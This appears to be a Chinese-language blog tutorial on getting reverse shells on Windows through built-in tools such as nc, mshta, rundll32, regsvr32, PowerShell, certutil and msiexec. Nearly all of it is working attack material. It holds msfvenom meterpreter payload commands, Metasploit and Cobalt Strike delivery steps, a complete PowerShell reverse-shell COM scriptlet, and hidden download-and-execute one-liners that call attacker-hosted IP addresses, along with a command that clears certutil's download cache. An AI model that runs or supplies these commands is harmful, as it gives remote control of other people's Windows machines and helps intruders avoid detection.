06.Windows 反弹 shell 方法
本文最后更新于500 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、反弹 Shell 简介

反弹shell分为正向和方向shell
具体详见 8.Linux反弹shell

二、NetCat

1.NetCat简介

NetCat(简称nc)是一款网络工具,通常用于数据传输和网络通信。它可以用来读写网络连接,使用 TCP或UDP协议。
NetCat被广泛用于各种用途,包括但不限于:

  1. 端口扫描:检测目标机器上的开放端口。
  2. 端口监听:作为服务器监听传入的连接请求。
  3. 数据传输:在两台机器之间传输数据。
  4. 远程shell:建立反向shell或正向shell,用于远程访问。
  5. 网络调试:测试网络服务和协议。
  6. 文件传输:通过管道传输文件。

2.NC正向shell

  • 被控端
nc -lvvp 6666 -e cmd.exe

在被控端上, NetCat 将监听本地的6666端口,并且当有连接建立时,它将执行 cmd.exe,从而提供一个交互式的命令行 shell给控制端。

  • 控制端
nc 192.168.1.106 6666

在控制端上,NetCat 将连接到IP地址为 192.168.1.106 的主机上的 6666 端口,从而与被控端建立 一个网络连接。

3.NC反向Shell

  • 控制端
nc -lvvp 7777

在控制端上,NetCat 将监听本地的 7777 端口,等待连接

  • 被控端
nc -e cmd.exe 192.168.1.105 7777

在被控端上, NetCat 将连接到IP地址为 192.168.1.105 的主机上的7777 端口,从而与控制端建立一个网络连接。并在建立连接后执行cmd.exe,从而提供一个交互式的命令行 shell。

三、Mshta

Mshta.exe 是用于负责解释运行HTA(HTML 应用程序)文件的Windows OS实用程序。可以运行 JavaScript 或VBScript 的 HTML 文件。

1.Metasploit HTA WebServer

通过 Metasploit 的 HTA Web Server 模块发起 Windows OS 实用程序。可以运 HTA 攻击

1)攻击机执行(有问题)

use exploit/windows/misc/hta_server
set srvhost x.x.x.x
set srv port 8080
set lhost x.x.x.x
set lport 6677
run

生成hta脚本地址

将srvhost改成0.0.0.0就行了

2)目标机执行

mshta http://192.168.81.154:8080/qOe1oSKv.hta

2.Msfvenom 生成 HTA 脚本

通过 Msfvenom 生成恶意 HTA 文件发起攻击

1)Msfvenom 生成 HTA 脚本文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.117 lport=4444 -f hta-psh -o 1.hta

2)启动 Web 服务托管 HTA 脚本文件

python -m http.server

3)MSF 创建监听器

handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.78.117 -P 4444

QQ_1738681023019.png

4)目标机执行命令,获得反弹shell

mshta.exe http://192.168.78.117:8000/1.hta

QQ_1738681062494.png

3.Cobaltstrike 生成 HTA 脚本,进行web托管

  • payload->HTML Application 生成hta文件
  • site management->host file 进行文件托管
    QQ_1738682046167.png
  • 使用 mshta 加载执行,上线到 CobaltStrike

四、Rundll32

Rundll32:是一个系统级别的可执行文件,它允许用户通过命令行调用执行 DLL(动态链接库)文件中的函数。

动态链接库:DLL 文件包含可以被多个程序共享的代码和资源,Rundll32可以调用这些 DLL 中的函数

命令行调用:Rundll32通过命令行参数指定要执行的 DLL 和函数,例如: rundll32.exe mydll.dll,EntryPoint。

1.Msfvenom 生成 DLL 执行

通过 Msfvenom 生成反弹 shell 的 dll 发起 Rundll32 攻击

1)Msfvenom 生成 DLL

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=139.155. 49.43 LPORT=5533 -f dll > mingy.dll

2)MSF 创建监听器

handler -p windows/x64/meterpreter/reverse_tcp -H 139.155.49.43 -P 5533

3)web文件托管

python -m  http.server

4)本地加载

powershell 远程下载 DLL 文件

powershell.exe -ep bypass -nop -c "(New-Object System.NET.WebClient).DownloadFile('http://139.155.49.43:8000/mingy.dll',\"c:\mingy.dll\")"

rundll32 调用执行 DLL 中的函数

rundll32 shell32.dll,Control_RunDLL C:\mingy.dll

5)利用 smb 服务远程加载

2.Metasploit SMB Delivery

通过 Metasploit 的 SMB Delivery 模块发起 Rundll32 攻击

use exploit/windows/smb/smb_delivery
set payload windows/x64/meterpreter/reverse_tcp
set srvhost x.x.x.x
set srvport xx
set lhost x.x.x.x
set lport xx
run

3.CobaltStrike 生成 DLL 执行

  • 生成 DLL
    QQ_1738702129257.png
  • 运行,即可获得会话
rundll32 a.dll,StartW

五、Regsvr32

1.Regsvr32 简介

Regsvr32.exe 是 Windows 操作系统中的一个命令行工具,用于注册和注销动态链接库(DLL) 以及 ActiveX 控件到系统的注册表中。注册控件允许它们在 Windows 环境中被识别和使用。

语法:

Regsvr32 [/s] [/u] [/n][/i[:cmdline]] <dllname>
/u - 取消注册服务器,即注销 DLL 或控件。
/s - 沉默模式,执行操作时不显示任何消息框或提示。
/n - 不调用&nbsp;DllRegisterServer&nbsp;函数,通常与&nbsp;/i&nbsp;参数一起使用。
/i:[cmdline] - 调用&nbsp;DllInstall&nbsp;函数并传递一个可选的命令行&nbsp;cmdline。如果与&nbsp;/u&nbsp;一起使用,则调用&nbsp;DllUninstall。

2.执行本地 Com Scriptlet

1)COM Scriptlet简介

COM Scriptlet 是一种基于组件对象模型(Component Object Model,简称COM)的脚本技术,它 允许在HTML页面中嵌入脚本,这些脚本可以与Web浏览器交互,执行特定的任务。COM Scriptlets 通常用于增强网页的交互性,例如弹出窗口、表单验证等。

2)执行本地 Com Scriptlet 调用计算器

cmd.sct

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
        <script language="JScript">
                <![CDATA[
                        var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
                ]]>
</script>
</registration>
</scriptlet>

执行命令

regsvr32.exe /n /s /u /i:cmd.sct scrobj.dll
  • scrobj.dll 包含允许在 Windows 环境中创建和管理脚本对象的函数。
  • scrobj.dll 作为 COM 组件,可以通过编程方式被调用,实现对脚本的控制。
  • 它允许创建脚本宿主,这些宿主可以执行脚本代码。

3)执行本地 Com Scriptlet 获取反向 Shell

  • rev.sct
<?XML version="1.0"?>
<scriptlet>
<registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
    <![CDATA[
            var r = new ActiveXObject("WScript.Shell").Run('powershell -w Hidden -c "$client = New-Object System.Net.Sockets.TCPClient(\'124.71.45.28\',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"');
    ]]>
</script>
</registration>
</scriptlet>
  • 监听端口
nc -lvnp 9999
  • 执行
    QQ_1738846989344.png

3.执行远程 Com Scriptle

  • 监听端口
nc -lvvp 10000
  • 执行命令
regsvr32.exe /n /s /u /i:http://124.71.45.28:8000/rev.sct scrobj.dll

4.Metasploit Web Delivery

通过 Metasploit 的 Web Delivery 模块启动 Regsvr32

useuse exploit/multi/script/web_delivery 
set payload windows/x64/meterpreter/reverse_tcp
set srvhost 0.0.0.0
set lhost x.x.x.x
run

==如果vps端口设置srvhost失败,可以设置为0.0.0.0==

QQ_1738917816379.png

六、Powershell

1.Msfvenom 生成 Powershell 脚本

1)Msfvenom 生成 Powershell 脚本

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=120.79.150.243 lport=6677 -f psh-reflection -o shell.ps1

2)Powershell 远程加载执行 Powershell 脚本

powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://120.79.150.243:8000/shell.ps1');shell.ps1";

3)创建监听器

handler -p windows/x64/meterpreter/reverse_tcp -H 120.79.150.243 -P 6677

4)获得会话

QQ_1738919352347.png

2.PowerShell 加载 Powercat

1)Powercat 简介

Powercat 是一个基于 PowerShell 的工具,它模仿了 Netcat(通常称为 “nc”)的功能,但专门用于 PowerShell 环境。

  • 后门侦听器:Powercat 可以作为一个侦听器(listener),等待来自远程系统的连接请求,从而实现反向 shell 或数据传输。
  • 反向shell 工具:它允许攻击者在目标系统上执行命令,并将输出发送回攻击者的系统,类似于 Netcat 的反向连接功能。

2)Powercat 使用

  • 托管 powercat.ps1 脚本
python -m http.server
  • 远程加载执行 powercat.ps1 脚本
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://120.79.150.243:8000/powercat.ps1');powercat -c 120.79.150.243 -p 9998 -e cmd"
  • 反弹shell
    QQ_1738920250273.png

3.Metasploit Web Delivery

通过 Web Delivery 生成反弹 shell 的 Payload

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
run

QQ_1738921339033.png

4.Powershell 启动 exe

1)Metasploit 生成恶意 exe 文件

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.78.117 LPORT=4445 -f exe -o 1.exe

2)启动 web 服务托管 exe 文件

python -m http.server

3)MSF 创建监听器

handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.78.117 -P 4445

4)powershell 加载执行

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.78.117:8000/1.exe','1.exe');start 1.exe

powershell -ep bypass -nop -w hidden (new-object system.net.webclient).DownloadFile('http://192.168.78.117:8000/1.exe','1.exe');start-process 1.exe

5.PowerShell 启动 Cscript

1)Cscript 和 Wscript 简介

  • cscript.exe:是Windows脚本宿主(Windows Script Host,WSH)的命令行版本,主要用于在命令提示符(CMD)环境中运行脚本,适用于不需要图形界面交互、以命令行操作和批处理为主的场景。
  • wscript.exe 允许用户在图形界面下执行脚本文件,提供交互式体验。 与 cscript.exe 相比,wscript.exe 在执行脚本时会弹出窗口,显示脚本执行过程中的交互界面或输出。

2)Msfvenom 生成 VBS 脚本

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=120.79.150.243 LPORT=6677 -f vbs -o 3.vbs

3)启动 Web 服务托管 VBS 文件

4)MSF 创建监听器

handler -p windows/x64/meterpreter/reverse_tcp -H 120.79.150.243 -P 6677

5)执行命令

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://120.79.150.243:8000/3.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

6.PowerShell 启动 BAT 文件

1)Msfvenom 生成 BAT 脚本

msfvenom -p cmd/windows/powershell_reverse_tcp lhost=139.155.49.43 lport=8888 -o 1.bat

2)MSF 创建监听器

msf > handler -p cmd/windows/powershell_reverse_tcp -H 172.17.0.2 -P 8888

3)启动 Web 服务托管 BAT 文件

4)执行命令

powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://139.155.49.43:8000/1.bat'))"

七、Certutil

certutil 是 Windows 系统中的一个命令行实用程序,主要用于管理、查看、配置证书以及与证书相 关的服务。

1.Msfvenom 生成 EXE 文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=120.79.150.243 lport=6677 -f exe > 44.exe

2.启动 Web 服务托管 EXE 文件

3.开启监听

handler -p windows/x64/meterpreter/reverse_tcp -H 120.79.150.243 -P 9998

4.certutil 下载并执行 EXE 文件

certutil.exe -urlcache -split -f http://120.79.150.243:8000/44.exe c:\windows\temp\44.exe & start c:\windows\temp\44.exe
  • -urlcache:这个参数指示 certutil 将 URL 作为缓存来处理,允许 certutil 从 URL 下载文件。
  • -split:这个参数用于将 URL 指定的内容分割成多个部分,通常用于处理大文件下载。
  • -f:这个参数代表强制覆盖,如果目标文件已存在,certutil 将会覆盖它而不会提示。

5.删除下载的缓存

缓存文件位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content

certutil.exe -urlcache -split -f http://120.79.150.243:8000/44.exe delete

八、Msiexec

msiexec.exe 是 Windows 操作系统中的一个重要组件,它是 Windows Installer 服务的一部分,用于安装、维护和卸载软件。

  • 软件安装:msiexec.exe 用于执行 .msi 文件,即 Windows Installer 文件,这些文件包含了 安装软件所需的所有信息。
  • 软件管理:它还负责软件的维护任务,如修复、修改和卸载。

1.Msfvenom 生成 MSI 文件

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=120.79.150.243 lport=9998 -f msi > 1.msi

2.启动 Web 服务托管 MSI 文件

3.MSF 创建监听器

4.msiexec

msiexec /q /i http://120.79.150.243:8000/1.msi
  • /q:表示安静模式或无用户交互模式, msiexec 将不会显示用户界面,所有操作都在后台静默执 行。
  • /i:表示安装模式,后跟的是要安装的 .msi 文件的路径或网络地址。

5.获得会话

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇